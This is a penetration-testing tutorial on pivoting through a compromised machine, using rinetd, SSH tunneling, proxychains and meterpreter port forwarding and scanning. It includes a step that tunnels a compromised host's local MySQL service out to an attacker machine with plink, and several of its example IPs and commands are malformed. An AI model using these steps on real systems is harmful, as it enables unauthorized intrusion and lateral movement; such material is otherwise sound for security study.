Pivoting

Let's say that you have compromised one machine on a network and you want to keep going to another machine. You will use the first machine as a staging point/plant/foothold to break into machine 2. The technique of using one compromised machine to access another is called pivoting. Machine one is the `pivot` in the example. The `pivot` is just used as a way to channel/tunnel our attack.

Ipconfig

We are looking for machines that have at least THREE network interfaces (loopback, eth0, and eth1 (or something)). These machines are connected to other networks, so we can use them to pivot.

```
 # Windows
ipconfig /all
route print

#Linux
ifconfig
ifconfig -a
```

Port forwarding and tunneling

Port forwarding

So imagine that you are on a network and you want to connect to a ftp server (or any other port) to upload or download some files. But someone has put some crazy firewall rules (egress filters) that prohibits outgoing traffics on all ports except for port 80. So how are we going to be able to connect to our ftp-server?

What we can do is add a machine that redirect/forward all traffic that it receives on port 80 to port 21 on a different machine.

So instead of having this kind of traffic

```
home-computer/port-21 ----> ftp-server/port-21
```

we will have

```
home-computer/port-80 ----> port-80/proxy-machine/port-21 ----> ftp-server
```

And the other way around of course, to receive the traffic.

Okay, so how do we go about actually implementing this?

Rinetd - Port forward/redirect

So we can set up this port forwarding machine with the help of rinetd.

To make it clear, we have the following machines: Machine1 - IP: 111.111.111.111 - Behind firewall, and wants to connect to Machine3. Machine2 - IP: 222.222.222.222 - Forwards incomming connections to Machine3 Machine3 - IP: 333.333.333.333 - Hosts the ftp-server that machine1 wants to connect to.

```
apt-get install rinetd
```

This is the default config file `/etc/rinetd.conf`:

```
#
# this is the configuration file for rinetd, the internet redirection server
#
# you may specify global allow and deny rules here
# only ip addresses are matched, hostnames cannot be specified here
# the wildcards you may use are * and ?
#
# allow 192.168.2.*
# deny 192.168.2.1?


#
# forwarding rules come here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress    bindport  connectaddress  connectport


# logging information
logfile /var/log/rinetd.log

# uncomment the following line if you want web-server style logfile format
# logcommon
```

This is the essential part of the configuration file, this is where we create the port-forwarding

```
# bindadress    bindport  connectaddress  connectport
111.111.111.111    80     333.333.333.333       21
```

```
/etc/init.d/rinetd restart
```

So the bind-address is where the proxy receieves the connection, and the connectaddress is the machine it forwards the connection to.

SSH Tunneling - Port forwarding on SSH

Use cases - You want to encrypt traffic that uses unencrypted protocols. Like VNC, IMAP, IRC. - You are on a public network and want to encrypt all your http traffic. - You want to bypass firewall rules.

Local port forwarding

Now facebook will be available on address localhost:8080.

```
ssh -L 8080:www.facebook.com:80 localhost
```

You can also forward ports like this:

```
ssh username@<remote-machine> -L localport:target-ip:target-port

ssh username@192.168.1.111 -L 5000:192.168.1.222:5000
```

Now this port will be available on your localhost. So you go to:

```
nc localhost:10000
```

Remote port forwarding

Remote port forwarding is crazy, yet very simple concept. So imagine that you have compromised a machine, and that machine has like MYSQL running but it is only accessible for localhost. And you can't access it because you have a really crappy shell. So what we can do is just forward that port to our attacking machine. The steps are as following:

Here is how you create a remote port forwarding:

```
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
```

By the way, plink is a ssh-client for windows that can be run from the terminal. The ip of the attacking machine is **111.111.111.111**.

Step 1 So on our compromised machine we do:

```
plink.exe -l root -pw mysecretpassword 111.111.111.111 -R 3307:127.0.0.1:3306
```

Step 2 Now we can check netstat on our attacking machine, we should see something like this:

```
tcp        0      0 127.0.0.1:3307          0.0.0.0:*               LISTEN      19392/sshd: root@pt
```

That means what we can connect to that port on the attacking machine from the attacking machine.

Step 3 Connect using the following command:

```
mysql -u root -p -h 127.0.0.1 --port=3307
```

Dynamic port forwarding

This can be used to dynamically forward all traffic from a specific application. This is really cool. With remote and local port forwarding you are only forwarding a single port. But that can be a hassle if your target machine has 10 ports open that you want to connect to. So instad we can use a dynamic port forwarding technique.

Dynamic port forwarding sounds really complicated, but it is incredibly easy to set up. Just set up the tunnel like this. After it is set up do not run any commands in that session.

```
 # We connect to the machine we want to pivot from
ssh -D 9050 user@192.168.1.111
```

Since proxychains uses 9050 by defualt (the default port for tor) we don't even need to configure proxychains. But if you want to change the port you can do that in `/etc/proxychains.conf`.

```
proxychains nc 192.168.2.222 21
```

So supress all the logs from proxychains you can configure it in the config file.

Tunnel all http/https traffic through ssh

For this we need two machines. Machine1 - 111.111.1111.111 - The server that works as our proxy. Machine2 - The computer with the web browser.

First we check out what out public IP adress is, so that we know the IP address before and after, so we can verify that it works. First you set ssh to:

```
 # On Machine2 we run
ssh -D localhost:9999 root@111.111.111.111

# Can also be run with the -N flag
ssh -D localhost:9999 root@111.111.111.111 -N
```

Now you go to Firefox/settings/advanced/network and **SOCKS** you add **127.0.0.1** and port **9999**

Notice that this setup probably leaks DNS. So don't use it if you need opsec.

To fix the DNS-leak you can go to **about:config** in firefox (in the addressbar) then look for **network.proxy.socks_remote_dns**, and switch it to **TRUE**. Now you can check: https://ipleak.net/

But we are not done yet. It still says that we have **WebRTC leaks**. In order to solve this you can go to about:config again and set the following to **FALSE**

media.peerconnection.enabled

SShuttle

I haven't used this, but it might work.

```
sshuttle -r root@192.168.1.101 192.168.1.0/24
```

Port forward with metasploit

We can also forward ports using metasploit. Say that the compromised machine is running services that are only accessible from within the network, from within that machine. To access that port we can do this in meterpreter:

```
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.222
```

Now we can access this port on our machine locally like this.

```
nc 127.0.0.1 3306
```

Ping-sweep the network

First we want to scan the network to see what devices we can target. In this example we already have a meterpreter shell on a windows machine with SYSTEM-privileges.

```
meterpreter > run arp_scanner -r 192.168.1.0/24
```

This command will output all the devices on the netowork.

Scan each host

Now that we have a list of all available machines. We want to portscan them.

We will to that portscan through metasploit. Using this module:

```
use auxiliary/scanner/portscan/tcp
```

If we run that module now it will only scan machines in the network we are already on. So first we need to connect us into the second network.

On the already pwn machine we do

```
ipconfig
```

Now we add the second network as a new route in metasploit. First we background our session, and then do this:

```
# the ip addres and the subnet mask, and then the meterpreter session
route add 192.168.1.101 255.255.255.0 1
```

Now we can run our portscanning module:

```
use auxiliary/scanner/portscan/tcp
```

Attack a specific port

In order to attack a specific port we need to forwards it like this

```
portfwd add -l 3389 -p 3389 -r 192.168.1.222
```

References

This is a good video-explanation:

https://www.youtube.com/watch?v=c0XiaNAkjJA

https://www.offensive-security.com/metasploit-unleashed/pivoting/

http://ways2hack.com/how-to-do-pivoting-attack/